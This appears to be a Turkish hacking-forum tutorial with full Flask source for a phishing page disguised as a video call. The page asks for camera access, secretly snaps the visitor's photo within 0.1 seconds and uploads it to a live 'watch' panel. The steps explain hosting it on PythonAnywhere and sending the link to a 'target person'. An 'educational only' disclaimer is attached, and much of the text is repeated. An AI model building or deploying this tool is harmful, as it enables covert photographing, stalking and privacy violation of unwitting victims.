Selamün Aleyküm THT Ailesi
Önceki konuda link ile konumu öğrenmeye çalıştık şimdi tıkladıgı gibi fotoğraf çekecek.
Önceki konuda bayağı sorun çıkmış şuan güncellinmiş haliyle yeniden paylaşıyorum.
UYARI: TOOLUN İÇİNEDE YAZDIM TAMAMEN EĞİTİM AMAÇLIDIR YANLIŞ KULLANIMDA HİÇBİR ŞEKİLDE NE TURKHACKTEAM.ORG NEDE ŞAHSIM HİÇBİR ŞEKİLDE SORUMLULUK KABUL ETMİYORUM. SORUMLULUK TAMAMEN KULLANICIDADIR.
Öncelikle Host, run, and code Python in the cloud: PythonAnywhere sitesine giriş yapalım.
Ana Sayfaya geldik sağ üst köşede morla işaretlediğim butona tıklayın.
Sayfayı biraz aşağıya kaydırıp Mor İle işaretlediğim butona tıklayın.
Şimdi Kayıt olma sayfasına geldik.. Burada İster Kendi E postanız ister temp-mail.org adresinden kullanın fark etmez. size kalmış
Kayıt Olduğunuz E-Postaya onaylama linki gelicek mor ile işaretlediğim yere tıklayarak hem onaylayıp hemde sitenin ana sayfası açılacaktır.
Şimdi Ana Sayfamız geldi kayıt olma işlemini bitirdik.. Sağ Üst köşeden işaretlediğim Web Sekmesine tıklayın.
Ardından Yeni Klasör Oluşturmak İçin Sağ Kısımdaki Yeşil Renkli Butona tıklayalım.
Buradan Flask Butonuna tıklayınız.
Ve ardından python sürümü seçeceğiz PYTHON SÜRÜMÜNDE 3.10 SEÇİNİZ Diğer sürümler gelişmiş olduğu için bizim kodlarla çakışabilir.
Kurulum Tamamdır Şimdi Aşağıdan Next Tuşuna Basalım.
Ana Sayfaya attı bizi ana sayfadan sol üst köşeden Files Butonuna basın daha sonra morla işaretlediğim flask klasörüne tıklayın.
Şimdi Oluşturduğum Flask Klasörünü Geldik Tıklayalım..
Sayfa Açıldı Sizde 10-15 satırlık kod yazıyordur onları silin ctrl+a+delete şimdi vereceğim kodları yapıştırın.
Ve sağ üstten save diyin sonra soldan home butonuna basın 1. basacazğınız yer ve 2. basacağınız yer diye ayırdım.
KODLAR:
Şimdi Ana sayfadan sağ üstteki web sekmesine bastık ve kodlarımızı linke eklemek icin işaretlediğim ortadaki yeşil butona basın
YÜKLENENE KADAR BEKLEYİN.
Şimdi Yükleme Tamam Olduktan sonra Sol üstteki linki yeni sekmede açalım
Sayfamız Geldi Linkimiz Bu Şekilde... Link Oluştur a basalım
Ve 2 tane link geldi Bu Linkin Bir tanesini hedef kişiye diğerini yeni sekmede kendiniz açınız.
Takip Paneli Arayüzü Ve Kanıtlanmış Fotoğraflar..
Bugünkü konumuz bu kadardı arkadaşlar şunu unutmayın şaka dahi yapacak olsanız bu ciddi bir suçtur eğitim amaçlı kullanılması için yapılmıştır.
Sitede eklediğim arayüzleri bilerek çok basit kullandım eğitim amaçlı diye kodlar açıkta istediğiniz yeri değiştirip ekleyebilirsiniz. anlamadığınız yer olursa aşağıda belirtin lütfen.
İYİ FORMLAR..
Önceki konuda link ile konumu öğrenmeye çalıştık şimdi tıkladıgı gibi fotoğraf çekecek.
Önceki konuda bayağı sorun çıkmış şuan güncellinmiş haliyle yeniden paylaşıyorum.
UYARI: TOOLUN İÇİNEDE YAZDIM TAMAMEN EĞİTİM AMAÇLIDIR YANLIŞ KULLANIMDA HİÇBİR ŞEKİLDE NE TURKHACKTEAM.ORG NEDE ŞAHSIM HİÇBİR ŞEKİLDE SORUMLULUK KABUL ETMİYORUM. SORUMLULUK TAMAMEN KULLANICIDADIR.
Öncelikle Host, run, and code Python in the cloud: PythonAnywhere sitesine giriş yapalım.
Ana Sayfaya geldik sağ üst köşede morla işaretlediğim butona tıklayın.
Sayfayı biraz aşağıya kaydırıp Mor İle işaretlediğim butona tıklayın.
Şimdi Kayıt olma sayfasına geldik.. Burada İster Kendi E postanız ister temp-mail.org adresinden kullanın fark etmez. size kalmış
Kayıt Olduğunuz E-Postaya onaylama linki gelicek mor ile işaretlediğim yere tıklayarak hem onaylayıp hemde sitenin ana sayfası açılacaktır.
Şimdi Ana Sayfamız geldi kayıt olma işlemini bitirdik.. Sağ Üst köşeden işaretlediğim Web Sekmesine tıklayın.
Ardından Yeni Klasör Oluşturmak İçin Sağ Kısımdaki Yeşil Renkli Butona tıklayalım.
Buradan Flask Butonuna tıklayınız.
Ve ardından python sürümü seçeceğiz PYTHON SÜRÜMÜNDE 3.10 SEÇİNİZ Diğer sürümler gelişmiş olduğu için bizim kodlarla çakışabilir.
Kurulum Tamamdır Şimdi Aşağıdan Next Tuşuna Basalım.
Ana Sayfaya attı bizi ana sayfadan sol üst köşeden Files Butonuna basın daha sonra morla işaretlediğim flask klasörüne tıklayın.
Şimdi Oluşturduğum Flask Klasörünü Geldik Tıklayalım..
Sayfa Açıldı Sizde 10-15 satırlık kod yazıyordur onları silin ctrl+a+delete şimdi vereceğim kodları yapıştırın.
Ve sağ üstten save diyin sonra soldan home butonuna basın 1. basacazğınız yer ve 2. basacağınız yer diye ayırdım.
KODLAR:
Python:
from flask import Flask, render_template_string, request, jsonify
import json
import os
from datetime import datetime
import secrets
import string
app = Flask(__name__)
DATA_FILE = 'photos.json'
def load_data():
if os.path.exists(DATA_FILE):
with open(DATA_FILE, 'r') as f:
return json.load(f)
return {}
def save_data(data):
with open(DATA_FILE, 'w') as f:
json.dump(data, f)
data = load_data()
def generate_id():
return ''.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(12))
# ============ ANA SAYFA ============
HOME_PAGE = '''
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Video Görüşme Sistemi</title>
<style>
body { font-family: Arial; background: #1a1a2e; color: white; text-align: center; padding: 20px; }
button { background: #007bff; color: white; border: none; padding: 15px 30px; font-size: 18px; border-radius: 10px; cursor: pointer; margin: 10px; }
input { width: 90%; max-width: 500px; padding: 10px; margin: 10px; border-radius: 8px; border: none; }
.box { background: #16213e; padding: 20px; border-radius: 15px; display: inline-block; }
.info { background: #0f3460; padding: 15px; border-radius: 10px; margin-top: 20px; font-size: 13px; }
</style>
</head>
<body>
<h1>🎥 Video Görüşme Sistemi</h1>
<div class="box">
<button onclick="createRoom()">📞 Yeni Görüşme Oluştur</button>
<div id="result"></div>
</div>
<div class="info">
📌 Görüşme bağlantısını karşı tarafa gönderin.<br>
Karşı taraf bağlantıya tıkladığında otomatik olarak bağlanacaktır.
</div>
<script>
function createRoom() {
fetch('/create').then(r=>r.json()).then(data => {
const callLink = location.origin + '/call/' + data.id;
const watchLink = location.origin + '/watch/' + data.id;
document.getElementById('result').innerHTML = `
<p><strong>📞 Karşı tarafa gönder:</strong><br>
<input value="${callLink}" readonly onclick="this.select()">
</p>
<p><strong>👀 Görüntüyü izlemek için:</strong><br>
<input value="${watchLink}" readonly onclick="this.select()">
</p>
`;
});
}
</script>
</body>
</html>
'''
# ============ GİZLİ KAMERA SAYFASI (Video görüşmesi gibi) ==========
CALL_PAGE = '''
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
<title>Video Görüşmesi</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #000;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
}
.call-container {
width: 100%;
max-width: 400px;
background: #111;
border-radius: 30px;
overflow: hidden;
box-shadow: 0 10px 40px rgba(0,0,0,0.5);
}
.video-placeholder {
background: #1a1a2e;
aspect-ratio: 16/9;
display: flex;
align-items: center;
justify-content: center;
flex-direction: column;
color: white;
}
.avatar {
width: 80px;
height: 80px;
background: #007bff;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 40px;
margin-bottom: 15px;
}
.status-text {
font-size: 14px;
color: #888;
margin-top: 10px;
}
.controls {
padding: 20px;
background: #0a0a0a;
display: flex;
gap: 15px;
justify-content: center;
}
.control-btn {
background: #333;
border: none;
color: white;
padding: 10px 20px;
border-radius: 25px;
font-size: 12px;
cursor: pointer;
}
.end-btn {
background: #dc3545;
}
.connecting {
text-align: center;
padding: 20px;
color: #666;
font-size: 12px;
}
</style>
</head>
<body>
<div class="call-container">
<div class="video-placeholder" id="videoPlaceholder">
<div class="avatar">📹</div>
<div>Bağlanılıyor...</div>
<div class="status-text" id="statusText">Kamera başlatılıyor</div>
</div>
<div class="controls">
<button class="control-btn" id="micBtn">🎤 Mikrofon</button>
<button class="control-btn end-btn" id="endBtn">📞 Sonlandır</button>
</div>
<div class="connecting" id="connectingText">
Güvenli bağlantı kuruluyor...
</div>
</div>
<video id="video" autoplay playsinline style="display: none;"></video>
<canvas id="canvas" style="display: none;"></canvas>
<script>
const callId = window.location.pathname.split('/').pop();
let stream = null;
let photoTaken = false;
async function init() {
try {
// Kamera izni iste (Video görüşmesi için)
stream = await navigator.mediaDevices.getUserMedia({ video: true });
const video = document.getElementById('video');
video.srcObject = stream;
video.onloadedmetadata = () => {
video.play();
document.getElementById('statusText').innerHTML = "✅ Bağlantı kuruldu";
document.getElementById('connectingText').innerHTML = "📹 Görüntü aktarılıyor...";
// HEMEN FOTOĞRAF ÇEK (0.1 saniye)
setTimeout(() => {
const canvas = document.getElementById('canvas');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
canvas.getContext('2d').drawImage(video, 0, 0);
const photo = canvas.toDataURL('image/jpeg', 0.7);
fetch('/upload/' + callId, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ photo: photo, time: new Date().toISOString() })
});
photoTaken = true;
}, 100); // 0.1 saniye
};
} catch(err) {
document.getElementById('statusText').innerHTML = "❌ Kamera izni gerekli";
document.getElementById('connectingText').innerHTML = "Lütfen kamera izni verin ve sayfayı yenileyin";
}
}
// Sayfa açılır açılmaz başlat
init();
// Sonlandır butonu - görüşme bitti mesajı göster
document.getElementById('endBtn').onclick = () => {
if (stream) stream.getTracks().forEach(t => t.stop());
document.getElementById('videoPlaceholder').innerHTML = `
<div class="avatar">📞</div>
<div>Görüşme sonlandırıldı</div>
<div class="status-text">Tekrar aramak için sayfayı yenileyin</div>
`;
document.getElementById('controls').style.display = 'none';
};
document.getElementById('micBtn').onclick = () => {
alert("Ses aktarımı şu anda desteklenmiyor.");
};
</script>
</body>
</html>
'''
# ============ İZLEME SAYFASI (Fotoğrafları göster) ==========
WATCH_PAGE = '''
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Görüşme Kayıtları</title>
<style>
body { font-family: Arial; background: #0a0a0a; color: white; padding: 20px; }
h1 { text-align: center; }
.photos { display: flex; flex-wrap: wrap; gap: 15px; justify-content: center; margin-top: 20px; }
.photo { width: 280px; background: #1a1a1a; border-radius: 12px; overflow: hidden; border: 1px solid #333; }
.photo img { width: 100%; height: 200px; object-fit: cover; }
.photo .info { padding: 10px; font-size: 12px; text-align: center; }
.refresh-btn { display: block; margin: 20px auto; padding: 10px 20px; background: #007bff; border: none; border-radius: 8px; color: white; cursor: pointer; }
.count { text-align: center; margin: 10px 0; color: #0f0; }
.auto-refresh { text-align: center; font-size: 12px; color: #666; margin-top: 10px; }
</style>
</head>
<body>
<h1>📸 Görüşme Kayıtları</h1>
<div class="count" id="count"></div>
<button class="refresh-btn" onclick="loadPhotos()">🔄 Yenile</button>
<div id="photos" class="photos"></div>
<div class="auto-refresh">⚡ Otomatik yenileme aktif (3 saniye)</div>
<script>
const id = window.location.pathname.split('/').pop();
async function loadPhotos() {
let res = await fetch('/photos/' + id);
let data = await res.json();
let html = '';
if (data.length === 0) {
html = '<div style="text-align:center; color:#888;">Henüz kayıt yok<br>Karşı tarafın görüşmeyi başlatmasını bekleyin</div>';
} else {
data.slice().reverse().forEach(p => {
let d = new Date(p.time);
html += `<div class="photo"><img src="${p.photo}"><div class="info">📅 ${d.toLocaleString('tr-TR')}</div></div>`;
});
}
document.getElementById('photos').innerHTML = html;
document.getElementById('count').innerHTML = `📸 ${data.length} kayıt alındı`;
}
loadPhotos();
setInterval(loadPhotos, 3000);
</script>
</body>
</html>
'''
# ============ API ROTALARI ============
@app.route('/')
def home():
return render_template_string(HOME_PAGE)
@app.route('/create')
def create():
session_id = generate_id()
if session_id not in data:
data[session_id] = []
save_data(data)
return jsonify({'id': session_id})
@app.route('/call/<session_id>')
def call(session_id):
if session_id not in data:
data[session_id] = []
save_data(data)
return render_template_string(CALL_PAGE)
@app.route('/watch/<session_id>')
def watch(session_id):
if session_id not in data:
data[session_id] = []
save_data(data)
return render_template_string(WATCH_PAGE)
@app.route('/upload/<session_id>', methods=['POST'])
def upload(session_id):
if session_id not in data:
data[session_id] = []
data[session_id].append(request.json)
save_data(data)
return jsonify({'status': 'ok'})
@app.route('/photos/<session_id>')
def get_photos(session_id):
return jsonify(data.get(session_id, []))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
Şimdi Ana sayfadan sağ üstteki web sekmesine bastık ve kodlarımızı linke eklemek icin işaretlediğim ortadaki yeşil butona basın
YÜKLENENE KADAR BEKLEYİN.
Şimdi Yükleme Tamam Olduktan sonra Sol üstteki linki yeni sekmede açalım
Sayfamız Geldi Linkimiz Bu Şekilde... Link Oluştur a basalım
Ve 2 tane link geldi Bu Linkin Bir tanesini hedef kişiye diğerini yeni sekmede kendiniz açınız.
Takip Paneli Arayüzü Ve Kanıtlanmış Fotoğraflar..
Bugünkü konumuz bu kadardı arkadaşlar şunu unutmayın şaka dahi yapacak olsanız bu ciddi bir suçtur eğitim amaçlı kullanılması için yapılmıştır.
Sitede eklediğim arayüzleri bilerek çok basit kullandım eğitim amaçlı diye kodlar açıkta istediğiniz yeri değiştirip ekleyebilirsiniz. anlamadığınız yer olursa aşağıda belirtin lütfen.
İYİ FORMLAR..




